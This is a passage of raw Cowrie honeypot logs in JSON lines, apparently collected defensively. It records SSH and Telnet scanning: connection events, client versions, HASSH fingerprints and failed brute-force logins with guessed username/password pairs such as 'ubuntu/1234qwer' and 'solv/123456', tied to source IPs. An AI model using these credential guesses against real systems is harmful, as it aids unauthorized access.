16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:32.666655Z","src_ip":"80.94.92.184","session":"9446074cce0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:33.413560Z","src_ip":"80.94.92.184","session":"9446074cce0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:34.588402Z","src_ip":"80.94.92.184","session":"9446074cce0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":32858,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc4d040ea861","protocol":"ssh","message":"New connection: 2.57.122.208:32858 (159.203.135.109:22) [session: fc4d040ea861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:46.837767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:47.006563Z","src_ip":"2.57.122.208","session":"fc4d040ea861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:47.193791Z","src_ip":"2.57.122.208","session":"fc4d040ea861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:48.138116Z","src_ip":"2.57.122.208","session":"fc4d040ea861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:46:49.787633Z","src_ip":"2.57.122.208","session":"fc4d040ea861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.176.21","src_port":60786,"dst_ip":"10.17.0.5","dst_port":23,"session":"32125cda2f40","protocol":"telnet","message":"New connection: 205.254.176.21:60786 (10.17.0.5:23) [session: 32125cda2f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:47:15.413152Z"}
{"eventid":"cowrie.session.closed","duration":12.965456485748291,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:47:28.378493Z","src_ip":"205.254.176.21","session":"32125cda2f40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.248.167.131","src_port":40974,"dst_ip":"10.17.0.5","dst_port":22,"session":"95f8c812b44b","protocol":"ssh","message":"New connection: 89.248.167.131:40974 (10.17.0.5:22) [session: 95f8c812b44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:15.226687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.11.0","message":"Remote SSH version: SSH-2.0-paramiko_2.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:15.234298Z","src_ip":"89.248.167.131","session":"95f8c812b44b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a704be057881f0b1d623cd263e477a8b","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-rsa","ssh-dss","ecdsa-sha2-nistp256","ssh-ed25519","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a704be057881f0b1d623cd263e477a8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:15.331469Z","src_ip":"89.248.167.131","session":"95f8c812b44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.248.167.131","src_port":40982,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b2fbdefae97","protocol":"ssh","message":"New connection: 89.248.167.131:40982 (10.17.0.5:22) [session: 5b2fbdefae97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:15.631029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.11.0","message":"Remote SSH version: SSH-2.0-paramiko_2.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:15.636513Z","src_ip":"89.248.167.131","session":"5b2fbdefae97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a704be057881f0b1d623cd263e477a8b","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a704be057881f0b1d623cd263e477a8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:15.771029Z","src_ip":"89.248.167.131","session":"5b2fbdefae97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:15.808111Z","src_ip":"89.248.167.131","session":"5b2fbdefae97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:18.737479Z","src_ip":"89.248.167.131","session":"95f8c812b44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40632,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4c336142de6","protocol":"ssh","message":"New connection: 80.94.92.184:40632 (10.17.0.5:22) [session: d4c336142de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:30.980024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:31.066992Z","src_ip":"80.94.92.184","session":"d4c336142de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:31.368349Z","src_ip":"80.94.92.184","session":"d4c336142de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:33.343102Z","src_ip":"80.94.92.184","session":"d4c336142de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:34.695703Z","src_ip":"80.94.92.184","session":"d4c336142de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54962,"dst_ip":"159.203.135.109","dst_port":22,"session":"f815866308ac","protocol":"ssh","message":"New connection: 2.57.122.208:54962 (159.203.135.109:22) [session: f815866308ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:57.326470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:57.420468Z","src_ip":"2.57.122.208","session":"f815866308ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:57.528847Z","src_ip":"2.57.122.208","session":"f815866308ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:58.222261Z","src_ip":"2.57.122.208","session":"f815866308ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:49:59.425397Z","src_ip":"2.57.122.208","session":"f815866308ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.134.247","src_port":59820,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb8ee185e602","protocol":"telnet","message":"New connection: 103.25.134.247:59820 (159.203.135.109:23) [session: eb8ee185e602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:51:50.877168Z"}
{"eventid":"cowrie.session.closed","duration":12.951496601104736,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:03.828558Z","src_ip":"103.25.134.247","session":"eb8ee185e602","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ece02943e3a9","protocol":"ssh","message":"New connection: 80.94.92.184:43472 (10.17.0.5:22) [session: ece02943e3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:31.317752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:31.542560Z","src_ip":"80.94.92.184","session":"ece02943e3a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:31.546818Z","src_ip":"80.94.92.184","session":"ece02943e3a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:33.024909Z","src_ip":"80.94.92.184","session":"ece02943e3a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:34.281170Z","src_ip":"80.94.92.184","session":"ece02943e3a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56492,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef95736e021","protocol":"ssh","message":"New connection: 2.57.122.208:56492 (159.203.135.109:22) [session: bef95736e021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:38.629750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:39.122425Z","src_ip":"2.57.122.208","session":"bef95736e021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:39.126548Z","src_ip":"2.57.122.208","session":"bef95736e021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:40.125888Z","src_ip":"2.57.122.208","session":"bef95736e021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:52:41.323893Z","src_ip":"2.57.122.208","session":"bef95736e021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":46164,"dst_ip":"159.203.135.109","dst_port":23,"session":"df34b0d5c7d4","protocol":"telnet","message":"New connection: 199.103.57.63:46164 (159.203.135.109:23) [session: df34b0d5c7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:53:38.475595Z"}
{"eventid":"cowrie.session.closed","duration":38.540908098220825,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:54:17.016224Z","src_ip":"199.103.57.63","session":"df34b0d5c7d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45376,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2b06418ca21","protocol":"ssh","message":"New connection: 2.57.122.208:45376 (159.203.135.109:22) [session: e2b06418ca21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:18.738204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:55:18.827217Z","src_ip":"2.57.122.208","session":"e2b06418ca21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-